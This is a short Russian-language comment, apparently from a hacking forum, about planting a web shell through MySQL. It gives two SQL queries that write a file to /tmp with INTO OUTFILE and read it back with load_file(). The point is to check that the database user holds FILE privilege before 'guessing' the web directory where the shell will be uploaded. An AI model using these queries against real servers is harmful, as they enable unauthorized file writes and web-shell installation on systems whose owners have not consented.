Неплохо бы сначала

select '' from mysql.user into outfile '/tmp/1.php'

select load_file('/tmp/1.php')

проверять...

Если всё работает - то FILE_PRIV в норме. И вот только тогда начинать "угадывать" папку для заливки шелла